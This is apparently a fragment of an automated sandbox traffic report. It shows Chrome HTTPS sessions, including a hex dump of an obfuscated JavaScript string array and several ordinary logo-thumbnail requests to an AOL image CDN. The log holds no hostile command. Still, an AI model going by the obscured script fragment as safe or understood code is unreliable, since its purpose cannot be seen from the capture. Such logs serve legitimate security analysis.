67 76 59 41 77 Data Ascii: 50z3q9','C3nOyG==','yNrVyq==','AhrTBerHDge=','tM9Kzs5Fx2nZChjFxZOG','sw5PDgLHBgL6yxrPB25gywLSzwq=','BM9Kzvr5Cgu=','igLZig5VDcbLEhrLBNnPyMXL','zMv0y2G=','w29IAMvJDcboyxzPz2f0Aw9Uxq==','EwHI','zw51BwvYywjSzq==','C292CM4Ty29UBMvJDc1Hza==','v2vIr0WYuMvUzgvYAw
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 2c 27 6d 74 61 57 6a 71 3d 3d 27 2c 27 41 67 66 5a 41 61 3d 3d 27 2c 27 7a 78 7a 4c 43 4e 4b 3d 27 2c 27 79 77 72 32 7a 78 6a 30 41 78 6e 4c 43 4b 72 56 42 77 66 50 42 4e 6d 3d 27 2c 27 7a 78 7a 30 6c 77 7a 49 42 68 69 3d 27 2c 27 79 32 48 50 42 67 72 66 42 67 76 54 7a 77 35 30 71 32 39 31 42 4e 71 3d 27 2c 27 6c 63 62 55 42 59 31 4c 44 4d 66 53 6f 49 61 3d 27 2c 27 43 33 72 35 42 67 75 3d 27 2c 27 79 32 4c 4b 27 2c 27 7a 78 7a 30 6c 77 6e 5a 43 4a 65 3d 27 2c 27 43 67 58 48 45 78 6e 50 42 4d 58 50 42 4d 75 3d 27 2c 27 77 66 62 6e 6c 4b 79 3d 27 2c 27 41 77 35 5a 7a 78 6a 30 71 4d 76 4d 42 33 6a 4c 27 2c 27 72 76 39 68 74 65 39 63 71 75 57 36 69 61 3d 3d 27 2c 27 77 30 76 73 75 4c 39 64 78 71 3d 3d 27 2c 27 79 4d 4c 4b 75 4d 76 58 44 77 76 5a 44 67 76 4b Data Ascii: ,'mtaWjq==','AgfZAa==','zxzLCNK=','ywr2zxj0AxnLCKrVBwfPBNm=','zxz0lwzIBhi=','y2HPBgrfBgvTzw50q291BNq=','lcbUBY1LDMfSoIa=','C3r5Bgu=','y2LK','zxz0lwnZCJe=','CgXHExnPBMXPBMu=','wfbnlKy=','Aw5Zzxj0qMvMB3jL','rv9hte9cquW6ia==','w0vsuL9dxq==','yMLKuMvXDwvZDgvK
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 32 4c 55 7a 67 39 33 6c 4d 58 56 79 32 66 30 41 77 39 55 27 2c 27 71 76 62 62 71 57 3d 3d 27 2c 27 79 68 66 59 74 4c 44 4b 78 78 57 3d 27 2c 27 44 67 39 76 43 68 62 4c 43 4b 6e 48 43 32 75 3d 27 2c 27 43 33 6c 72 47 74 30 49 27 2c 27 42 32 35 59 7a 77 66 4b 45 78 6e 30 79 78 72 4c 79 32 48 48 42 4d 44 4c 27 2c 27 46 73 4b 4f 27 2c 27 42 32 35 66 44 4d 76 55 44 61 3d 3d 27 2c 27 78 33 62 49 41 4e 6e 68 42 67 39 49 79 77 58 5a 27 2c 27 6b 67 35 31 42 67 57 53 27 2c 27 43 78 76 4c 43 4e 4c 74 7a 77 58 4c 79 33 72 56 43 47 3d 3d 27 2c 27 44 78 6e 4c 43 4b 66 4a 44 67 4c 32 79 78 72 50 42 32 34 3d 27 2c 27 7a 78 48 30 27 2c 27 41 77 35 30 7a 78 6a 32 7a 77 35 30 41 77 39 55 27 2c 27 43 32 76 30 73 78 72 4c 42 71 3d 3d 27 2c 27 71 4d 66 55 42 4d 76 59 27 2c 27 Data Ascii: 2LUzg93lMXVy2f0Aw9U','qvbbqW==','yhfYtLDKxxW=','Dg9vChbLCKnHC2u=','C3lrGt0I','B25YzwfKExn0yxrLy2HHBMDL','FsKO','B25fDMvUDa==','x3bIANnhBg9IywXZ','kg51BgWS','CxvLCNLtzwXLy3rVCG==','DxnLCKfJDgL2yxrPB24=','zxH0','Aw50zxj2zw50Aw9U','C2v0sxrLBq==','qMfUBMvY','
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 30 6c 4d 6e 31 43 4e 6a 4c 42 4e 72 74 79 33 6a 50 43 68 71 55 43 4d 76 54 42 33 7a 4c 6b 63 4b 37 27 2c 27 43 67 6a 49 7a 73 35 5a 44 67 66 30 41 78 6e 30 41 77 6e 5a 27 2c 27 43 67 6a 51 43 57 3d 3d 27 2c 27 41 77 7a 59 79 77 31 4c 6f 49 61 3d 27 2c 27 42 4d 39 56 43 67 76 55 7a 78 69 3d 27 2c 27 70 4a 57 56 27 2c 27 71 32 39 55 44 67 76 55 44 63 31 75 45 78 62 4c 27 2c 27 44 67 4c 54 7a 71 3d 3d 27 2c 27 63 49 30 54 6c 71 4f 3d 27 2c 27 42 4d 39 55 7a 71 3d 3d 27 2c 27 79 33 76 5a 44 67 39 54 78 32 7a 50 7a 77 58 4b 43 57 3d 3d 27 2c 27 79 78 62 57 42 68 4c 5a 43 4d 6e 4b 42 32 6d 3d 27 2c 27 44 32 76 49 41 32 4c 30 71 78 76 4b 41 77 39 65 7a 77 6e 56 7a 67 76 4b 71 4e 4c 30 7a 75 6e 56 44 77 35 30 27 2c 27 79 32 7a 4e 6c 77 76 32 79 77 57 3d 27 2c 27 Data Ascii: 0lMn1CNjLBNrty3jPChqUCMvTB3zLkcK7','CgjIzs5ZDgf0Axn0AwnZ','CgjQCW==','AwzYyw1LoIa=','BM9VCgvUzxi=','pJWV','q29UDgvUDc1uExbL','DgLTzq==','cI0TlqO=','BM9Uzq==','y3vZDg9Tx2zPzwXKCW==','yxbWBhLZCMnKB2m=','D2vIA2L0qxvKAw9ezwnVzgvKqNL0zunVDw50','y2zNlwv2ywW=','
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 4a 58 49 42 32 72 35 70 4a 57 56 79 4d 39 4b 45 74 34 3d 27 2c 27 42 4d 66 32 41 77 44 48 44 67 75 3d 27 2c 27 76 32 76 49 75 32 39 4a 41 32 76 30 27 2c 27 76 32 4c 55 7a 67 39 33 6c 4d 6e 53 41 77 6e 52 27 2c 27 43 32 66 4d 7a 75 7a 59 79 77 31 4c 27 2c 27 43 67 76 59 7a 4d 39 59 42 77 66 55 79 32 75 3d 27 2c 27 41 77 58 53 27 2c 27 6a 32 35 56 42 4d 6e 4c 6c 71 3d 3d 27 2c 27 73 64 4c 6c 73 57 3d 3d 27 2c 27 77 30 76 46 71 31 6e 71 78 73 61 3d 27 2c 27 45 68 62 54 27 2c 27 72 75 58 66 74 75 76 6f 76 66 39 6f 74 30 72 66 27 2c 27 41 68 72 30 43 64 4f 3d 27 2c 27 75 31 72 7a 74 65 75 3d 27 2c 27 6c 73 38 56 6c 71 3d 3d 27 2c 27 43 4d 76 33 43 4d 4c 30 7a 71 3d 3d 27 2c 27 77 30 76 46 72 4c 6a 44 69 61 3d 3d 27 2c 27 42 4d 39 4b 7a 75 35 48 42 77 75 3d 27 Data Ascii: JXIB2r5pJWVyM9KEt4=','BMf2AwDHDgu=','v2vIu29JA2v0','v2LUzg93lMnSAwnR','C2fMzuzYyw1L','CgvYzM9YBwfUy2u=','AwXS','j25VBMnLlq==','sdLlsW==','w0vFq1nqxsa=','EhbT','ruXftuvovf9ot0rf','Ahr0CdO=','u1rzteu=','ls8Vlq==','CMv3CML0zq==','w0vFrLjDia==','BM9Kzu5HBwu='
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 33 44 64 79 77 58 53 27 2c 27 69 67 66 53 42 67 39 33 6c 78 62 59 7a 78 6e 4c 42 4e 72 48 44 67 4c 56 42 47 3d 3d 27 2c 27 76 77 35 4c 45 68 62 4c 79 33 72 4c 7a 63 62 4a 42 32 72 4c 43 49 62 5a 7a 78 72 31 43 63 62 4d 79 77 4c 53 44 78 6a 4c 6f 47 4f 3d 27 2c 27 74 4d 39 4b 7a 71 3d 3d 27 2c 27 79 78 6e 5a 41 77 44 55 27 2c 27 41 67 66 5a 71 78 72 30 43 4d 4c 49 44 78 72 4c 27 2c 27 71 78 76 4b 41 77 39 63 44 77 7a 4d 7a 78 6a 74 42 33 76 59 79 32 76 6f 42 32 72 4c 27 2c 27 42 77 66 30 79 32 47 3d 27 2c 27 6a 4e 66 31 42 33 71 37 27 2c 27 43 68 6a 4c 44 4d 76 55 44 65 72 4c 7a 4d 66 31 42 68 71 3d 27 2c 27 79 33 6a 4c 79 78 72 50 44 4d 76 6a 7a 61 3d 3d 27 2c 27 43 33 6a 4a 70 73 6a 51 79 78 7a 48 43 32 6e 59 41 78 62 30 6f 4d 7a 48 42 68 6e 4c 69 49 62 Data Ascii: 3DdywXS','igfSBg93lxbYzxnLBNrHDgLVBG==','vw5LEhbLy3rLzcbJB2rLCIbZzxr1CcbMywLSDxjLoGO=','tM9Kzq==','yxnZAwDU','AgfZqxr0CMLIDxrL','qxvKAw9cDwzMzxjtB3vYy2voB2rL','Bwf0y2G=','jNf1B3q7','ChjLDMvUDerLzMf1Bhq=','y3jLyxrPDMvjza==','C3jJpsjQyxzHC2nYAxb0oMzHBhnLiIb
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 27 79 32 48 48 43 4d 44 50 42 4d 43 3d 27 2c 27 79 33 76 59 43 4d 76 55 44 65 35 56 7a 67 75 3d 27 2c 27 43 4d 76 54 42 33 7a 4c 71 78 72 30 43 4d 4c 49 44 78 72 4c 27 2c 27 76 76 44 71 27 2c 27 44 67 39 6d 42 33 44 4c 43 4b 6e 48 43 32 75 3d 27 2c 27 6a 4e 71 39 27 2c 27 44 67 39 57 27 2c 27 72 4c 6a 62 74 75 75 3d 27 2c 27 69 64 30 2b 69 61 3d 3d 27 2c 27 79 77 58 53 27 2c 27 44 78 6a 53 27 2c 27 71 4b 66 74 72 71 3d 3d 27 2c 27 79 4d 4c 4b 75 4d 76 58 27 2c 27 78 33 75 4f 44 67 48 50 43 59 57 47 6a 57 3d 3d 27 2c 27 43 32 54 50 43 63 31 50 42 4d 4f 3d 27 2c 27 44 32 76 49 41 32 4c 30 27 2c 27 42 4e 72 32 27 2c 27 7a 32 76 30 72 77 35 30 43 4d 4c 4c 43 30 6a 35 74 4d 66 54 7a 71 3d 3d 27 2c 27 63 4b 62 48 79 4d 39 31 44 64 50 49 42 67 66 55 41 57 3d 3d Data Ascii: 'y2HHCMDPBMC=','y3vYCMvUDe5Vzgu=','CMvTB3zLqxr0CMLIDxrL','vvDq','Dg9mB3DLCKnHC2u=','jNq9','Dg9W','rLjbtuu=','id0+ia==','ywXS','DxjS','qKftrq==','yMLKuMvX','x3uODgHPCYWGjW==','C2TPCc1PBMO=','D2vIA2L0','BNr2','z2v0rw50CMLLC0j5tMfTzq==','cKbHyM91DdPIBgfUAW==
2024-05-23 22:34:49 UTC	1300	IN	Data Raw: 4a 7a 74 30 49 27 2c 27 79 77 6e 30 41 77 39 55 78 32 35 48 42 77 75 3d 27 2c 27 79 32 7a 4e 6c 77 47 35 41 32 53 3d 27 2c 27 42 77 4c 55 27 2c 27 79 77 58 53 42 33 43 54 44 67 39 57 6c 77 35 48 44 4d 4c 4e 79 78 72 50 42 32 34 3d 27 2c 27 7a 4e 6a 56 42 71 3d 3d 27 2c 27 75 33 4c 55 44 67 66 34 72 78 6a 59 42 33 69 3d 27 2c 27 69 63 38 47 27 2c 27 43 33 62 53 41 77 6e 4c 27 2c 27 79 4d 58 31 43 47 3d 3d 27 2c 27 70 68 6e 4a 43 4d 4c 57 44 64 34 3d 27 2c 27 73 75 7a 73 71 75 31 66 27 2c 27 41 77 35 55 7a 78 6a 69 76 65 31 6d 27 2c 27 7a 78 48 30 6c 78 44 48 7a 61 3d 3d 27 2c 27 42 4e 76 53 42 61 3d 3d 27 2c 27 41 33 44 5a 6c 77 66 4b 42 32 31 48 41 77 34 3d 27 2c 27 42 78 76 30 7a 77 71 3d 27 2c 27 43 4d 76 53 27 2c 27 44 4d 4c 4c 44 33 62 56 43 4e 72 66 Data Ascii: Jzt0I','ywn0Aw9Ux25HBwu=','y2zNlwG5A2S=','BwLU','ywXSB3CTDg9Wlw5HDMLNyxrPB24=','zNjVBq==','u3LUDgf4rxjYB3i=','ic8G','C3bSAwnL','yMX1CG==','phnJCMLWDd4=','suzsqu1f','Aw5Uzxjive1m','zxH0lxDHza==','BNvSBa==','A3DZlwfKB21HAw4=','Bxv0zwq=','CMvS','DMLLD3bVCNrf

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.6	49878	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:49 UTC	699	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkDiXli.D_WDnpsc8QwxvBg--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190409%2F500x500%2Fgiants_s.png&client=76f99bdb8f78cd44cc0b&signature=a5db9adb92297dcb97c8f99b467d5c3f3f79992b HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500368 Cache-Control: public, max-age=2592000 Cache-Tag: 327213907338796065784444510814515403658,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21945-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 1 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 327213907338796065784444510814515403658,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "2d9a8ba46e16fd58c70ba88fb8d86218" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:43 GMT Server: ECAcc (lhd/35C3) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1890,owidth=50,oheight=50,obytes=1675,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000074-IAD X-Timer: S1711411322.464620,VS0,VE1 Content-Length: 1890 Connection: close
2024-05-23 22:34:50 UTC	1890	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff fe fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff f6 86 77 ff ff ff ff ff ff ff fb f8 ff fb f9 ff f9 f6 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpLw

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.6	49880	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:49 UTC	704	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FPMQsnNgc41c_GbNQ1JO_LQ--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190403%2F500x500%2Fphillies_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=c02d09651346a22345d45414bf6990886bbdd7db HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1132	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500368 Cache-Control: public, max-age=2592000 Cache-Tag: 483227784027464218077345796273375890480,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21978-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 2 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 483227784027464218077345796273375890480,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "01d1298c6217157fce1f245c4e9f55ec" Expiration: expiry-date="Tue, 10 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Wed, 13 Mar 2024 18:59:12 GMT Server: ECAcc (lhd/35F2) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1561,owidth=50,oheight=50,obytes=1403,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000139-IAD X-Timer: S1711411322.455344,VS0,VE1 Content-Length: 1561 Connection: close
2024-05-23 22:34:50 UTC	1561	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 b5 50 4c 54 45 47 70 4c ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff e2 6a 7f ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: PNGIHDR22)xPLTEGpLj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.6	49881	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:49 UTC	930	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F2s1JVbQT4jK7vnmSdH51yw--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190307%2F500x500%2Frays_wbg.png&client=76f99bdb8f78cd44cc0b&signature=878df353f7cafc11bf0dc707a2dea4918f56cd38 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1508	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 2500368 Cache-Control: public, max-age=2592000 Cache-Tag: 390457934859267373911714328072974130425,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-lga21941-LGA cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 1 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 390457934859267373911714328072974130425,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "9990cbe3d42806caa253e5900eaca1e3" Expiration: expiry-date="Sun, 01 Sep 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Mon, 04 Mar 2024 17:28:08 GMT NEL: {"report_to": "default", "max_age": 43200, "include_subdomains": true, "failure_fraction": 1.0, "success_fraction": 0.001} Report-To: {"group": "default", "max_age": 43200, "include_subdomains": true, "endpoints":[{"url": "https://report.edgecast.com/nel/v0?s=QlcUD1xRUxNXDlABC1NW", "priority": 1}, {"url": "https://nelcollector.sre.ecsvc.net/report", "priority": 2}]} Server: ECAcc (lhd/35C7) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=1875,owidth=50,oheight=50,obytes=2394,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000029-IAD X-Timer: S1711411322.460739,VS0,VE2 Content-Length: 1875 Connection: close
2024-05-23 22:34:50 UTC	1875	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 03 00 50 4c 54 45 47 70 4c bf d9 f1 ff ff ff 8f bc e6 ff ff ff b9 d5 f0 a7 c4 d0 ff ff ff ff ff ff 2f 4c 75 8f bc e6 7c 8f a9 c4 db f2 9d c4 e9 f9 fb fc a1 ae c1 d2 d8 e1 96 c0 e8 8f bc e6 90 bc e7 ff ff ff 90 bc e6 95 a4 b9 ff ff ff a2 b3 c7 2a 49 73 b1 bc cc c2 cb d8 bf d5 eb c2 da f0 bc d7 f0 9a c2 e9 e4 e8 ed f7 f8 fa aa cd ed ff ff ff 66 7c 9a d0 e1 f2 df e9 f3 ba d6 ef b4 d2 ee ff ff ff 94 bf e7 b7 c7 da ba cd e0 ff ff ff cb df f3 c6 cf db fe ff ff b9 c3 d1 bc d7 f1 e4 ef f9 96 c1 e8 d2 e4 f4 ea f2 fa c9 d3 de ff ff ff 8f bc e6 da df e7 b5 d3 ee a8 b5 c7 b3 d2 ee ad ce ed 09 2c 5c d9 df e6 82 94 ad c5 cd d8 8f bc e6 ff ff ff e8 eb f0 90 bc e6 9f Data Ascii: PNGIHDR22)xPLTEGpL/Lu\|*Isf\|,\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.6	49882	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:49 UTC	928	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2F7K_tu.SMGj_akw2SJ_wa7Q--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2F20181022%2F500x500%2Fmariners_wbg.png&client=76f99bdb8f78cd44cc0b&signature=2b8a377cb94691fc5f98ff850b130d1f2ccf1ea3 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:34:50 UTC	1140	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: X-Requested-With Access-Control-Allow-Origin: * Age: 1895568 Cache-Control: public, max-age=2592000 Cache-Tag: 424829729597125008487244517310517145766,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e cld_by: cache-iad-kiad7000163-IAD cld_cache: Miss from cloudfront, HIT cld_hits: 0 cld_latency: 74 Content-Type: image/png Date: Thu, 23 May 2024 22:34:50 GMT Edge-Cache-Tag: 424829729597125008487244517310517145766,242200644609645780559813349216390262875,ae7a14591aaf8d474cdb3f92111c923e Etag: "0a655b831508393a98eb7a326dab2e06" Expiration: expiry-date="Wed, 14 Aug 2024 00:00:00 GMT", rule-id="delete fetch for mysterio after 180 days" Last-Modified: Thu, 15 Feb 2024 22:23:53 GMT Server: ECAcc (lhd/35E7) Strict-Transport-Security: max-age=31536000 Surrogate-Reporting: width=50,height=50,bytes=2128,owidth=50,oheight=50,obytes=2852,ef=(1,13,17,23,30) Timing-Allow-Origin: * X-Cache: HIT X-Cache-Hits: 1 X-Served-By: cache-iad-kiad7000078-IAD X-Timer: S1711411322.461706,VS0,VE3 Content-Length: 2128 Connection: close
2024-05-23 22:34:50 UTC	2128	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 03 00 00 00 29 e1 78 83 00 00 02 fd 50 4c 54 45 47 70 4c 00 58 58 00 58 58 00 58 58 02 46 55 01 58 58 00 57 57 00 58 58 4c 7c 81 01 4e 56 00 58 58 00 58 58 00 57 58 04 33 53 00 58 58 00 58 58 00 54 57 00 58 58 00 58 58 00 58 58 00 58 58 00 57 57 00 58 58 00 57 58 00 58 58 00 51 57 00 58 58 00 58 58 00 57 57 0e 2f 57 04 2e 53 00 57 57 00 58 58 00 58 58 00 58 58 00 58 58 ff ff ff 00 58 58 00 58 58 00 58 58 00 58 58 ff ff ff 00 58 58 05 25 50 00 58 58 00 58 58 05 27 52 00 58 58 06 27 52 ff ff ff ff ff ff 05 29 52 ff ff ff 06 29 53 05 26 52 07 3c 55 00 56 57 05 3e 56 00 58 58 00 58 58 05 43 56 05 28 52 06 2c 53 10 48 5d 00 58 58 06 27 52 04 24 4f 04 4b 57 04 3b 54 00 58 58 00 58 58 ff Data Ascii: PNGIHDR22)xPLTEGpLXXXXXXFUXXWWXXL\|NVXXXXWX3SXXXXTWXXXXXXXXWWXXWXXXQWXXXXWW/W.SWWXXXXXXXXXXXXXXXXXX%PXXXX'RXX'R)R)S&R<UVW>VXXXXCV(R,SH]XX'R$OKW;TXXXX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.6	49879	192.229.221.24	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:34:49 UTC	703	OUT	GET /images/dims?format=png&quality=100&thumbnail=50%2C50&image_uri=https%3A%2F%2Fs.yimg.com%2Fiu%2Fapi%2Fres%2F1.2%2FkSFKSLh2AAsN66Xe9ynyIA--%7EB%2FYXBwaWQ9c2hhcmVkO2ZpPWZpbGw7cT0xMDA7aD01MDt3PTUw%2Fhttps%3A%2F%2Fs.yimg.com%2Fcv%2Fapiv2%2Fdefault%2Fmlb%2F20190312%2F500x500%2Fpirates_wbgs.png&client=76f99bdb8f78cd44cc0b&signature=d43580e1cb031eac0937777fb019d65cc8aa5e92 HTTP/1.1 Host: s.aolcdn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
